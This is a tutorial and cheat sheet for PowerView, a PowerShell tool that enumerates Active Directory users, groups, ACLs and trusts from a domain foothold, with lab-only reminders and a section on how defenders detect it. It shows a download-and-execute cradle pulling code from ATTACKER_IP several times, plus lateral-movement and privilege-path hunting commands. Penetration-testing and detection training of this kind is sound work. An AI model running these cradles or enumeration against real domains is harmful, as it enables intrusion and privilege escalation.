PowerView
PowerView is a single PowerShell module (part of the PowerSploit family, now kept up in its own dev branch) that turns Active Directory enumeration into one-line cmdlets. From a domain-joined host it asks the domain controller the same LDAP questions you could ask by hand, then hands you clean PowerShell objects: who the users are, which groups they belong to, who can administer what, where trusts point, and which ACLs are interesting. It solves the “I have a foothold in a Windows domain, now what does this domain actually look like?” problem without dropping a separate binary.
You will reach for it on Active Directory boxes once you have a shell on a domain-joined machine. It does not exploit anything; it reads the directory and surfaces the relationships you then verify and act on. It is also the cleanest way for a defender to see exactly what an attacker learns in the first five minutes on a domain.
What you will learn#
- How to load PowerView in memory and confirm it works
- The handful of cmdlets that map a domain fast (users, groups, computers, ACLs, trusts)
- How to read its object output and pipe it into something useful
- Where it is loud and how defenders see it
- Common mistakes and a commented cheat sheet
Legal and scope reminder#
Run PowerView only in a lab you own or an engagement that explicitly authorizes domain enumeration. It reads directory data about other users and systems, so scope and authorization must be unambiguous. Keep the domain, the account you used, and the date in your notes. This guide stays at the level a defender or CTF player needs and points you at the mitigations rather than at any specific real target.
Prerequisites#
- A Windows host that is joined to the lab domain (or your attacker box with the right runas/credentials), and a shell on it.
- A domain user context. Most read queries work as any authenticated user; that is the point defenders worry about.
ATTACKER_IPis your own box serving the module;DOMAIN/USERNAMEare lab placeholders.- Basic AD literacy helps (users vs computers, groups, OUs, ACLs, trusts).
Lab setup#
Build an isolated AD lab you own: a domain controller plus a member workstation in a
private network. Snapshot the VMs so you can revert. Get a low-privilege domain user
shell on the member host; that is where PowerView runs.
Use private ranges only (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and never point
this at a domain you do not own.
Installation#
PowerView is a standalone .ps1, not a package. Keep a copy on your attacker box:
# On your attacker box, keep the module in your lab tooling folder
mkdir -p ~/labs/ad-demo/scripts && cd ~/labs/ad-demo/scripts
# Place PowerView.ps1 here (from the official PowerSploit dev branch).
ls -l PowerView.ps1
There is nothing to compile. Once you have PowerView.ps1, you have everything; you just
need to load it into a PowerShell session on the target.
Getting it onto the target#
PowerView runs on the target, so you deliver it over the foothold you already have. The quickest route here:
# Serve PowerView.ps1 from your attacker box (python3 -m http.server 8000), then load it in memory on the target:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1'); Get-Domain
That is just one option. For every transfer method and how to choose between them, see the file transfer methods guides.
Update process#
# Replace your local copy with the newest PowerView.ps1 from the official dev branch,
# then re-serve it. New revisions add cmdlets and fix queries against newer AD schemas.
cd ~/labs/ad-demo/scripts && ls -l PowerView.ps1
The dev branch is the maintained one; the original PowerSploit copy is older. Keep a
current copy so the newer Get-Domain* cmdlet names and filters are available.
Check if installed and available#
# After loading, confirm the module's functions are present in the session.
Get-Command -Module * # PowerView loads into the session, not as a module name
Get-Command Get-NetUser, Get-DomainUser # both exist; Get-Domain* are the newer names
If Get-NetUser (or its newer alias Get-DomainUser) resolves, the module is loaded and
ready. If you get “not recognized”, the dot-source or cradle did not run in this session.
First safe test#
In your lab, run one harmless read that only returns your own domain’s basics:
Get-Domain # name, mode, and the current domain object
Get-NetDomainController | Select-Object Name # which host is the DC
Success looks like a PowerShell object describing your lab domain. Failure is usually “not recognized” (module not loaded) or an LDAP/error about not being on a domain-joined host or lacking a domain context.
Core concepts#
- It is LDAP in PowerShell. Every cmdlet is a directory query; nothing is exploited.
- Two naming generations: older
Get-Net*names and newerGet-Domain*names coexist; the dev branch favorsGet-Domain*. - Objects, not text. Output is PowerShell objects, so you pipe into
Select-Object,Where-Object,Sort-Object,Export-Csvto shape it. - Read as any user. Most enumeration needs only a normal domain account, which is why it maps a domain so quickly from a low-privilege foothold.
- ACLs and trusts are the gold. Users and groups orient you; interesting ACLs and trust paths are where privilege-escalation leads come from.
When this tool is useful#
- Right after a domain foothold to map users, groups, computers, and admins fast.
- Finding ACL-based paths (who can reset whose password, who has GenericAll on what).
- Spotting local-admin reach with
Find-LocalAdminAccessacross the domain. - Defensive review: see what a normal user can enumerate on your own domain.
When not to use this tool#
- Anywhere you are not authorized to enumerate the directory.
- On a heavily monitored domain where you need to stay quiet (it is well logged; consider a quieter, targeted query or a different collection method).
- When a graph view would serve you better; collect with bloodhound instead and analyze visually.
Command anatomy#
Verb-NounNet|Domain [-Identity NAME] [-Properties *] [-Domain DOMAIN] | <pipeline>
# Get-NetUser / Get-DomainGroup ... filter to one object shape the output
- Cmdlets follow PowerShell
Verb-Noun. Add-Identityto target one object,-Properties *to pull every attribute, and pipe intoSelect/Whereto focus.
Common flags and options#
| Cmdlet / option | What it does | When to use it | Example |
|---|---|---|---|
Get-NetDomain / Get-Domain | Domain basics | Orient first | Get-Domain |
Get-NetUser / Get-DomainUser | Enumerate users | Map accounts | Get-NetUser -Identity USERNAME |
Get-NetGroup / Get-DomainGroup | Enumerate groups | Find privileged groups | Get-NetGroup '*admin*' |
Get-NetComputer / Get-DomainComputer | Enumerate hosts | Targeting | Get-NetComputer -Properties dnshostname |
Get-NetGroupMember | Members of a group | Who is in Domain Admins | Get-NetGroupMember 'Domain Admins' |
Find-LocalAdminAccess | Hosts where you are local admin | Lateral movement | Find-LocalAdminAccess |
Get-ObjectAcl / Get-DomainObjectAcl | ACLs on an object | Find ACL paths | Get-DomainObjectAcl -ResolveGUIDs |
Get-NetGPO | Group Policy objects | Find applied policy | Get-NetGPO |
Get-DomainTrust | Domain/forest trusts | Map trust paths | Get-DomainTrust |
-Properties * | Pull all attributes | Deep look at one object | Get-NetUser USERNAME -Properties * |
Practical examples (owned lab only)#
# Orient: what domain am I in, and where is the DC?
Get-Domain
Get-NetDomainController | Select-Object Name, IPAddress
# Enumerate users and pull just the useful columns
Get-NetUser | Select-Object samaccountname, description, lastlogon | Sort-Object lastlogon
# Who is in the high-value groups?
Get-NetGroupMember -Identity 'Domain Admins' | Select-Object MemberName
Get-NetGroup '*admin*' | Select-Object samaccountname
# Where does my current user have local admin? (classic lateral-movement lead)
Find-LocalAdminAccess
# ACL hunting: find non-default rights over objects (GenericAll, WriteDacl, ResetPassword)
Get-DomainObjectAcl -Identity USERNAME -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|ForceChangePassword' }
# Trusts: how does this domain connect to others?
Get-DomainTrust
# Save a clean copy for your notes
Get-NetUser | Export-Csv -NoTypeInformation $env:TEMP\users.csv
Example workflow#
# 1. Load PowerView into the session (in-memory cradle from your box)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')
# 2. Orient
Get-Domain ; Get-NetDomainController | Select-Object Name
# 3. Enumerate the high-value targets
Get-NetGroupMember 'Domain Admins' | Select-Object MemberName
Get-NetComputer -Properties dnshostname
# 4. Look for movement and ACL paths
Find-LocalAdminAccess
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' }
# 5. Document the accounts, groups, and rights you found and how you verified each
Reading and interpreting output#
- Output is objects: if a query prints too much, pipe into
Select-Object name, <attr>. Find-LocalAdminAccessreturning a hostname means your current token has local admin there; that is an immediate lateral-movement lead to verify.- In
Get-DomainObjectAcl, watchActiveDirectoryRightsforGenericAll,WriteDacl,WriteOwner, andForceChangePassword, and resolveSecurityIdentifierto a name. - An empty result is not always “nothing”; a wrong
-Identityor a filter typo returns empty too. Re-check the name before concluding.
Common mistakes#
- Loading the module in one session and querying in another (it must be the same session).
- Forgetting
-ResolveGUIDs, so ACL output shows raw GUIDs instead of readable rights. - Dumping
Get-NetUserwith noSelect-Objectand drowning in attributes. - Assuming silence; PowerView is well logged on modern domains (see below).
- Using the old
Get-Net*names against a copy that only shipsGet-Domain*, or vice versa.
Troubleshooting#
| Problem | Likely cause | Fix |
|---|---|---|
| “not recognized” | Module not loaded in this session | Re-run the cradle or dot-source . .\pv.ps1 |
| Load blocked | AMSI / execution policy | Lab-only: load in memory; expect logging |
| Empty results | Wrong -Identity or filter | Re-check the exact name; widen the filter |
| GUIDs in ACL output | Missing -ResolveGUIDs | Add -ResolveGUIDs |
| Slow / huge output | Querying everything | Filter with -Identity / Where-Object first |
| “not a domain” | Host not domain-joined / no context | Run from a joined host or supply credentials |
Tools that pair well#
- bloodhound to collect the same relationships and analyze attack paths as a graph instead of by hand.
- impacket to act on findings remotely (for example dumping secrets once you have the rights PowerView revealed).
- netexec to validate accounts and check access across hosts.
- mimikatz when an ACL path leads to credentials on a host.
- evil-winrm to move to a host PowerView showed you can reach.
Automation and note taking#
# Capture a session transcript and export key findings for your notes
Start-Transcript $env:TEMP\powerview-session.txt
Get-NetUser | Export-Csv -NoTypeInformation $env:TEMP\users.csv
Get-NetGroupMember 'Domain Admins' | Export-Csv -NoTypeInformation $env:TEMP\da.csv
Stop-Transcript
Treat exported directory data as sensitive: record the domain, the account used, and how you verified each finding, then handle the files per the engagement’s data rules.
Blue-team visibility#
This is the part worth studying. PowerView is loud on a modern domain: PowerShell
script-block logging (event 4104) captures the loaded functions, AMSI commonly flags the
in-memory load, and the burst of LDAP queries it generates is itself a detection signal
(unusual volume of directory reads from a workstation, queries for adminCount, ACLs, and
trusts). Defenders watch for these patterns, enable script-block and module logging, use
AMSI, and treat sudden domain-wide enumeration from a single user as an alert. Understanding
PowerView is mostly valuable for building and tuning those detections.
Safer or lower-noise usage#
- Run targeted queries (
-Identity) instead of dumping everything. - Prefer a single, planned enumeration pass over repeated noisy sweeps.
- For analysis, collect once with a graph tool and reason offline rather than re-querying.
- Stay within the scoped account and host; do not spray queries across the whole domain when one answer is all you need.
Alternatives#
- bloodhound + SharpHound: collects the relationships and shows attack paths as a graph; better for analysis at scale.
- Native
ActiveDirectoryPowerShell module (Get-ADUser,Get-ADGroup): signed, Microsoft-supplied, and quieter when RSAT is available. ldapsearch(ldapsearch) from a non-Windows box for raw LDAP queries with credentials.- adPEAS / SharpView: a compiled port of PowerView for when PowerShell is constrained.
PowerView wins for fast, scriptable, ad-hoc questions from a Windows foothold; the graph and native tools win for scale and for staying quiet.
Deprecated and legacy notes#
- The original PowerSploit
PowerView.ps1is unmaintained; the dev branch is the current copy and prefers theGet-Domain*cmdlet names (theGet-Net*names remain as aliases). - Some blogs reference
Invoke-UserHunterheavily; on modern, segmented networks it is far less reliable than it once was.
Quick reference cheat sheet#
# --- Load (attacker serves PowerView.ps1 with: python3 -m http.server 8000) ---
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')
# --- Orient ---
Get-Domain
Get-NetDomainController | Select-Object Name
# --- Users / groups / computers ---
Get-NetUser | Select-Object samaccountname, description
Get-NetGroupMember 'Domain Admins' | Select-Object MemberName
Get-NetComputer -Properties dnshostname
# --- Movement + ACLs + trusts ---
Find-LocalAdminAccess
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' }
Get-DomainTrust
# --- Save findings ---
Get-NetUser | Export-Csv -NoTypeInformation $env:TEMP\users.csv
Mini decision tree#
- Fresh domain foothold: load PowerView, run
Get-Domain, then enumerate users/groups/computers. - Looking for movement:
Find-LocalAdminAccess, then verify with netexec. - Hunting privilege paths:
Get-DomainObjectAcl -ResolveGUIDs, look forGenericAll/WriteDacl. - Need the big picture: collect with bloodhound and analyze the graph.
- Need to stay quiet: targeted
-Identityqueries, or the native AD module if RSAT is present.
Final checklist#
- Lab or explicit authorization for domain enumeration
- Module loaded in the session you are querying from
- Used targeted queries and shaped the output, not raw dumps
- Findings (accounts, groups, ACLs, trusts) documented with how you verified them
- Detections noted where logging/AMSI flagged the activity
- No real third-party domain
Final summary#
PowerView turns Active Directory enumeration into one-line PowerShell from a domain
foothold, which is exactly why it maps a domain so fast and why defenders watch for it. The
quickest start is to load it with the in-memory cradle and run Get-Domain, then work
through users, groups, Find-LocalAdminAccess, and ACLs. The most useful thing to internalize
is that it only reads the directory: the value is in the relationships it reveals, and the
risk is how loudly it reveals them. Pair it with bloodhound
for graph analysis and netexec to act on what you find, and
study the blue-team section as closely as the cmdlets.